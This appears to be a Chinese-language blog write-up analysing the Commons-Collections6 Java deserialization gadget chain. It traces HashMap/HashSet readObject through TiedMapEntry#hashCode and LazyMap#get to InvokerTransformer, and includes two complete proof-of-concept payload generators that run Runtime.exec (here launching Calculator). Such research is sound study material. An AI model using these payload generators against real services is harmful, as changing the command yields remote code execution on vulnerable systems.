Commons-Collections6原理分析

在 CC5 中我们使用了 TiedMapEntry#toString 来触发 LazyMap#get,在 CC6 中是通过 TiedMapEntry#hashCode 来触发。之前看到了 hashcode 方法也会调用 getValue() 方法然后调用到其中 map 的 get 方法触发 LazyMap,那我们如何在反序列化时触发 TiedMapEntry 的 hashcode 方法呢?

在 URLDNS 中,在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值。那在此处当然也可以用来触发 TiedMapEntry 的 hashCode 方法。
1
2

那就要面临在 URLDNS 中同样面临的问题:调用链会在 HashMap 的 put 方法调用时提前触发,需要想办法绕过触发,可以采用以下几种方式:

  • 类似 URLDNS2 的利用反射调用 putVal 方法写入 key 避免触发。
  • 在向 HashMap push LazyMap 时先给个空的 ChainedTransformer,这样添加的时候不会执行任何恶意动作,put 之后再反射将有恶意链的 Transformer 数组写到 ChainedTransformer 中。但需要LazyMap的key进行remove。

这样就完成了一个 HashMap 的触发方式。
但 CC6 使用的是 HashSet 触发方式。

前置知识

HashSet

HashSet 是一个无序的,不允许有重复元素的集合。HashSet 本质上就是由 HashMap 实现的。HashSet 中的元素都存放在 HashMap 的 key 上面,而 value 中的值都是统一的一个private static final Object PRESENT = new Object();。HashSet 跟 HashMap 一样,都是一个存放链表的数组。

在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上。
3

POC

CC6WithHashMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
HashMap hashMap = new HashMap<>();
Map map = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map,"key1");
HashMap hashMap1 = new HashMap();
hashMap1.put(tiedMapEntry,"alter");
map.remove("key1");
// 反射调用 HashMap 的 putVal 方法
/*
Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
for (Method method : m) {
if ("putVal".equals(method.getName())) {
method.setAccessible(true);
method.invoke(hashMap, -1, tiedMapEntry, 0, false, true);
}
}
*/
setFieldValue(chainedTransformer,"iTransformers",transformers);
seDse.serialize(hashMap1,"CC6.ser");

为什么需要map.remove("key1");
关键点在LazyMap的get⽅法,就是最后触发命令执⾏的transform(),但是这个if语句并没有进⼊,因为map.containsKey(key)的结果是true,理想结果是false。

0

原因是HashMap的put⽅法中,也有调⽤到 hash(key),进而执行了TiedMapEntry#hashCode(),触发了TiedMapEntry#hashCode(),最后执行LazyMap#get,这是在构造payload时执行的LazyMap#get,触发了fakeTransformers,导致提前执行了一遍虚假链,设了key为key1,这样在反序列化再次执行LazyMap#get时,由于设了key为key1,这个if语句并没有进⼊,导致执行失败。
(new TiedMapEntry(outerMap, "key1");里key1是形参key的实参,这里的key指的是这个意思。)
我们的解决⽅法也很简单,只需要将key1这个Key,再从map中移除即可:map.remove("key1") 。

CC6withHashSet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
HashMap hashMap = new HashMap<>();
Map map = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "key1");
HashMap hashMap1 = new HashMap();
hashMap1.put(tiedMapEntry, "alter");
HashSet hashSet = new HashSet(hashMap1.keySet());
map.remove("key1");
setFieldValue(chainedTransformer, "iTransformers", transformers);
seDse.serialize(hashSet, "CC6withHashSet.ser");

这里我只是简单的在 HashMap 之外嵌套了一层 HashSet。在 ysoserial 中的 CC6 payload 中,作者 matthias_kaiser 多次使用反射向 HashMap 及 HashSet 中写入值,并兼容了 JDK 7 和 8 中成员变量名发生变化的情况。并且是通过向底层 map 中的节点添加的方式。
4

总结

利用说明:
HashMap#readObject 调用 HashMap#hash 继而调用 key.hashCode ,也就是 TiedMapEntry 的 hashCode ,继而调用 TiedMapEntry 的 getValue ,最后调用 LazyMap 的 get 方法。
HashSet#readObject 调用 map.put() ,这个 map 就是 HashMap ,然后 HashMap#put 调用 hash(key) ,后面与 HashMap 利用链一样。
Gadget 总结:

1
2
3
kick-off gadget:java.util.HashSet#readObject()/java.util.HashMap#readObject()
chain gadget:org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode()
sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()

su18写的调用链:

1
2
3
4
5
6
7
HashSet.readObject()/HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()

依赖版本

commons-collections : 3.1~3.2.1